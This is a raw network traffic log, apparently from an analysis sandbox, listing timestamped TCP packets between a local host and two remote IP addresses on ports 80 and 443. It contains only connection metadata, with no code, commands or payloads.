Aug 29, 2021 22:27:23.054934025 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.055016994 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.055061102 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.055107117 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.055155993 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.055257082 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.055311918 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.090234041 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.090270042 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.090295076 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.090320110 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.090394020 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.090519905 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.090635061 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.090684891 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.090837955 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.091095924 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.092420101 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.092461109 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.092478991 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.092494011 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.092506886 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.092516899 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.126081944 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.126118898 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.128578901 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.128616095 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.130414009 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.172096014 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.172311068 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.373287916 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.374598980 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.406460047 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.406630039 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.407380104 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.407491922 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.407664061 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.407897949 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.408401966 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.408543110 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.440680027 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.440716028 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.440740108 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.440763950 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.440788984 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.440812111 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.440829992 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.440922976 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.440943003 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.441143036 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.441199064 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.441343069 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.441396952 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.476857901 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.477020025 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.477045059 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.477122068 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.477255106 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.477279902 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.477350950 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.477456093 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.477524996 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.477637053 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.477719069 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.477750063 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.477773905 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.477844954 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.477890015 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.510720015 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.510833025 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.511074066 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.511140108 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.511173964 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.511224985 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.511271954 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.511307955 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.511322975 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.511770964 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.511895895 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.511921883 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.512105942 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.512140036 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.512224913 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.542826891 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.542872906 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.542907953 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.543102980 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.543165922 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.543371916 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.543401957 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.582016945 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.582190990 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.779452085 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.780602932 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.812954903 CEST	80	49764	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.813097954 CEST	49764	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.816637993 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.816802025 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.817351103 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.817470074 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.817641973 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.817718983 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.853138924 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.853168011 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.853179932 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.853190899 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.853312969 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.853640079 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.853751898 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.853754044 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.853769064 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.853971004 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.892649889 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.892798901 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.893017054 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.893121958 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.893176079 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.893268108 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.893568039 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.893659115 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.893769026 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.893780947 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.893975973 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.928241014 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.928266048 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.928391933 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.928494930 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.928527117 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.928605080 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.928745985 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.928901911 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.929009914 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.929059029 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.929152012 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.929191113 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.929326057 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.929347038 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.929517984 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.929542065 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.929765940 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.929908991 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.964107037 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.964133978 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.964144945 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.964154005 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.964162111 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.964174986 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.964489937 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.964534044 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.964560986 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.964864016 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.002857924 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.003070116 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.202452898 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.203586102 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.235574007 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.235726118 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.236601114 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.236721992 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.236958981 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.237090111 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.237787008 CEST	80	49765	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.237935066 CEST	49765	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.268744946 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.268794060 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.268815041 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.268837929 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.268855095 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.268929958 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.269013882 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.269030094 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.269076109 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.269099951 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.301048994 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.301105022 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.301218987 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.301270008 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.301376104 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.301405907 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.301445007 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.301564932 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.301728010 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.301759958 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.301887035 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.333796978 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.333822012 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.333831072 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.334047079 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.334126949 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.334139109 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.334145069 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.334153891 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.334336996 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.334470034 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.334481955 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.334495068 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.334636927 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.369710922 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.369740009 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.369749069 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.369980097 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.415349960 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.415515900 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.513047934 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.514693975 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.548803091 CEST	80	49766	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.549020052 CEST	49766	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.550962925 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.551203012 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.552092075 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.588172913 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.630176067 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.630393982 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.671123028 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.671242952 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.671456099 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.671814919 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.676258087 CEST	49736	80	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.677356005 CEST	49768	80	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.697474957 CEST	80	49736	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.697596073 CEST	49736	80	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.698256969 CEST	80	49768	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.698384047 CEST	49768	80	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.698983908 CEST	49768	80	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.711015940 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.711126089 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.711148024 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.711163044 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.711175919 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.711191893 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.711401939 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.711532116 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.720195055 CEST	80	49768	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.726705074 CEST	80	49768	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.726856947 CEST	49768	80	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.733958960 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.735969067 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.750507116 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.750526905 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.750602007 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.750655890 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.750655890 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.750670910 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.750762939 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.750794888 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.753094912 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.753206968 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.754076004 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.754188061 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.754268885 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.771823883 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.772387028 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.772478104 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.773226976 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.777354956 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.786374092 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.786401033 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.786411047 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.786503077 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.786535978 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.786547899 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.786593914 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.786935091 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.787442923 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.787543058 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.787688971 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.787960052 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.787978888 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.789921045 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.794208050 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.814625978 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.814666986 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.814693928 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.814789057 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.814805031 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.814826012 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.814857006 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.814893961 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.814934015 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.814971924 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.815037966 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.815057039 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.815139055 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.815155029 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.815210104 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.815258026 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.815354109 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.815382004 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.815413952 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.815531969 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.815561056 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.815583944 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.815594912 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.815602064 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.815628052 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.815635920 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.815654993 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.815674067 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.815685987 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.817945957 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.818078041 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.818133116 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.818145990 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.818176031 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819005013 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.819128036 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819158077 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819179058 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819200993 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819220066 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.819240093 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819253922 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.819277048 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819299936 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.819312096 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819334984 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.819351912 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819359064 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.819385052 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.819392920 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819417000 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819427013 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.819449902 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819467068 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.819480896 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819489002 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.819514990 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.819520950 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.819586992 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.821620941 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.821763039 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.821779013 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.821789026 CEST	80	49767	46.17.96.36	192.168.2.4
